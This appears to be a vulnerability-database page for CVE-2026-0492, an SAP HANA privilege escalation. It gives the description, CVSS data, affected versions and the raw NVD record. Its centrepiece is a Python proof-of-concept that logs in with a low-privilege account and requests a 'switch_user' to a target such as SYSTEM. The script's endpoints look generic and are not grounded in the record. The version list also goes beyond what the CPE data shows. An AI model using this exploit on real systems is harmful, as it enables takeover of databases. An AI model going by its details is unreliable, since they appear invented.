Security Vulnerability Report
中文
CVE-2026-0492 CVSS 8.8 HIGH

CVE-2026-0492

Published: 2026-01-13 02:15:51
Last Modified: 2026-01-27 20:18:17

Description

SAP HANA database is vulnerable to privilege escalation allowing an attacker with valid credentials of any user to switch to another user potentially gaining administrative access. This exploit could result in a total compromise of the system�s confidentiality, integrity, and availability.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:sap:hana_database:2.00:*:*:*:*:*:*:* - VULNERABLE
SAP HANA 1.0 所有版本 < SPS 12 Patch 4
SAP HANA 2.0 所有版本 < SPS 07 Patch 4
SAP HANA Express Edition 所有版本 < 2.0 SPS 07 Patch 4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-0492 PoC - SAP HANA Privilege Escalation # Requires: Valid credentials for any user account # Target: SAP HANA Database import requests import sys def exploit_hana_privilege_escalation(target_url, attacker_creds, target_user): """ SAP HANA Privilege Escalation PoC Args: target_url: SAP HANA XS Engine URL attacker_creds: Tuple of (username, password) target_user: Target user to switch to (e.g., 'SYSTEM') Returns: bool: True if exploitation successful """ session = requests.Session() # Step 1: Authenticate with valid low-privilege account auth_endpoint = f"{target_url}/sap/hana/xs/formLogin/login.xscfunc" auth_data = { 'xs-username': attacker_creds[0], 'xs-password': attacker_creds[1] } try: response = session.post(auth_endpoint, data=auth_data, timeout=30) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") return False print(f"[+] Successfully authenticated as {attacker_creds[0]}") # Step 2: Exploit privilege escalation via user switch mechanism # Target: SAP HANA SQL interface exploit_endpoint = f"{target_url}/sap/hana/di/security/user.xscfunc" exploit_data = { 'action': 'switch_user', 'targetUser': target_user, 'currentUser': attacker_creds[0] } response = session.post(exploit_endpoint, json=exploit_data, timeout=30) if response.status_code == 200 and 'sessionid' in response.text: print(f"[+] Privilege escalation successful!") print(f"[+] Now operating as: {target_user}") # Step 3: Verify elevated privileges verify_endpoint = f"{target_url}/sap/hana/di/security/roles.xscfunc" response = session.get(verify_endpoint) if response.status_code == 200: print(f"[+] Full system access confirmed") return True print(f"[-] Exploitation failed or patched") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python poc.py <target_url> <username> <password> <target_user>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] target_user = sys.argv[4] exploit_hana_privilege_escalation(target, (user, pwd), target_user)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0492", "sourceIdentifier": "[email protected]", "published": "2026-01-13T02:15:51.243", "lastModified": "2026-01-27T20:18:16.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SAP HANA database is vulnerable to privilege escalation allowing an attacker with valid credentials of any user to switch to another user potentially gaining administrative access. This exploit could result in a total compromise of the system�s confidentiality, integrity, and availability."}, {"lang": "es", "value": "La base de datos SAP HANA es vulnerable a la escalada de privilegios, permitiendo a un atacante con credenciales válidas de cualquier usuario cambiar a otro usuario, potencialmente obteniendo acceso administrativo. Este exploit podría resultar en un compromiso total de la confidencialidad, integridad y disponibilidad del sistema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sap:hana_database:2.00:*:*:*:*:*:*:*", "matchCriteriaId": "4C6CA542-7071-48B6-B135-3AE9B4BB1DC5"}]}]}], "references": [{"url": "https://me.sap.com/notes/3691059", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]", "tags": ["Patch"]}]}}